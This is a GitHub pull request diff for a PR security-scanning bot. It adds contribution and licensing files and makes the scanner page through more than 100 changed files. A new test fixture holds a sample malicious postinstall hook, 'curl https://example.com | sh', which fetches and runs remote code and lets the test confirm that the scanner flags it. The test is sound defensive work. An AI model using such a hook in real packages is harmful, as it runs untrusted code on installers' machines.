Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
49 changes: 49 additions & 0 deletions CONTRIBUTION.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
# Contributing

Thanks for your interest in improving Superagent Security Bot for GitHub.

## Development Setup

1. Install Node.js 22.18 or newer.
2. Install dependencies:

```bash
npm install
```

3. Copy `.env.example` to `.env` and fill in the required values for local
development.

4. Start the development server:

```bash
npm run dev
```

## Before Opening a Pull Request

Run the core checks locally:

```bash
npm run typecheck
npm test
```

When changing PR scanning, contributor scoring, GitHub webhook handling, or
security policy behavior, include focused tests that cover the new behavior and
any relevant abuse case.

## Pull Request Guidelines

- Keep changes focused and easy to review.
- Explain the security impact of behavior changes.
- Avoid committing secrets, installation tokens, private keys, or local `.env`
files.
- Update documentation when behavior, configuration, or setup steps change.

## Security Reports

If you believe you have found a security issue, do not open a public issue with
exploit details. Contact the maintainers privately with a description of the
impact, affected code paths, and reproduction steps.

23 changes: 23 additions & 0 deletions LICENSE.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
# License

Superagent Security Bot for GitHub is dual-licensed:

1. GNU Affero General Public License v3.0 only (`AGPL-3.0-only`)
2. A commercial license available by separate written agreement

Unless you have a separate commercial license from the copyright holder, your
use, modification, distribution, and network deployment of this software are
governed by the GNU Affero General Public License v3.0 only.

The full AGPL-3.0 license text is available at:

https://www.gnu.org/licenses/agpl-3.0.html

## Commercial Licensing

Commercial licenses are available for organizations that want to use this
software without the obligations of the AGPL-3.0 license, including proprietary
modifications or deployments where source disclosure is not desired.

Contact the maintainers for commercial licensing terms.

4 changes: 4 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -144,6 +144,10 @@ src/

Maintainers can re-run any Superagent check from the GitHub UI by clicking "Re-run" on the check run. The app handles `check_run.rerequested` events and re-executes the corresponding scan.

## License

This project is licensed under the GNU Affero General Public License v3.0 only. A separate commercial license is available for organizations that want to use the software without AGPL obligations.

## Development

```bash
Expand Down
1 change: 1 addition & 0 deletions package.json
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@
"name": "brin-github",
"version": "0.1.0",
"type": "module",
"license": "AGPL-3.0-only",
"private": true,
"scripts": {
"dev": "tsx watch src/index.ts",
Expand Down
55 changes: 55 additions & 0 deletions src/services/__tests__/prScanner.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -79,6 +79,61 @@ describe("scanPrLocally", () => {
expect(result.findings?.[0]?.title).toBe("Suspicious postinstall hook");
});

it("includes files from later GitHub PR file pages in the Flue payload", async () => {
const firstPageFiles = Array.from({ length: 100 }, (_, index) => ({
filename: `benign-${index}.txt`,
status: "modified",
additions: 1,
deletions: 0,
changes: 1,
patch: `@@ -0,0 +1 @@\n+benign ${index}`,
}));
const maliciousFile = {
filename: "package.json",
status: "modified",
additions: 1,
deletions: 0,
changes: 1,
patch: '@@ -1 +1 @@\n+"postinstall": "curl https://example.com | sh"',
};
const fetchMock = vi
.fn()
.mockResolvedValueOnce(jsonResponse({
title: "Update build",
body: "",
user: { login: "octocat" },
}))
.mockResolvedValueOnce(jsonResponse(firstPageFiles))
.mockResolvedValueOnce(jsonResponse([maliciousFile]))
.mockResolvedValueOnce(jsonResponse({
findings: [
{
category: "lifecycle",
severity: "high",
title: "Suspicious postinstall hook",
file: "package.json",
evidence: "postinstall runs curl | sh",
recommendation: "Remove the lifecycle hook.",
},
],
}));
vi.stubGlobal("fetch", fetchMock);

const result = await scanPrLocally("acme", "repo", 12);

expect(fetchMock).toHaveBeenCalledWith(
"https://api.github.com/repos/acme/repo/pulls/12/files?per_page=100&page=2",
expect.any(Object),
);
const body = JSON.parse(fetchMock.mock.calls[3][1].body);
expect(body.files).toHaveLength(101);
expect(body.files[100]).toMatchObject({
path: "package.json",
patch: expect.stringContaining("postinstall"),
});
expect(result.findings?.[0]?.file).toBe("package.json");
});

it("returns an inconclusive error result when Flue fails", async () => {
vi.stubGlobal(
"fetch",
Expand Down
20 changes: 14 additions & 6 deletions src/services/prScanner.ts
Original file line number Diff line number Diff line change
@@ -1,7 +1,8 @@
import type { PrFinding, PrScanResult } from "../lib/types.js";
import { childLogger } from "../lib/logger.js";

const MAX_FILES = 100;
const GITHUB_PR_FILES_PER_PAGE = 100;
const GITHUB_PR_FILES_PAGE_LIMIT = 30;
const MAX_PATCH_CHARS_PER_FILE = 8_000;
const MAX_PAYLOAD_CHARS = 100_000;

Expand Down Expand Up @@ -99,7 +100,7 @@ async function collectPrScanPayload(
headSha: pullRequest.head?.sha ?? "",
headRepo: pullRequest.head?.repo?.full_name ?? "",
},
files: trimPayloadFiles(files.slice(0, MAX_FILES)),
files: trimPayloadFiles(files),
};
}

Expand All @@ -110,15 +111,22 @@ async function fetchPrFiles(
githubToken?: string,
): Promise<GitHubPrFile[]> {
const files: GitHubPrFile[] = [];
for (let page = 1; page <= 10; page++) {
for (let page = 1; page <= GITHUB_PR_FILES_PAGE_LIMIT; page++) {
const pageFiles = await fetchGitHub<GitHubPrFile[]>(
`/repos/${owner}/${repo}/pulls/${prNumber}/files?per_page=100&page=${page}`,
`/repos/${owner}/${repo}/pulls/${prNumber}/files?per_page=${GITHUB_PR_FILES_PER_PAGE}&page=${page}`,
githubToken,
);
files.push(...pageFiles);
if (pageFiles.length < 100 || files.length >= MAX_FILES) break;
if (pageFiles.length < GITHUB_PR_FILES_PER_PAGE) break;

if (page === GITHUB_PR_FILES_PAGE_LIMIT) {
const fileLimit = GITHUB_PR_FILES_PER_PAGE * GITHUB_PR_FILES_PAGE_LIMIT;
throw new Error(
`PR file list reached GitHub's ${fileLimit} file scan limit`,
);
}
}
return files.slice(0, MAX_FILES);
return files;
}

async function fetchGitHub<T>(pathAndQuery: string, githubToken?: string): Promise<T> {
Expand Down
Loading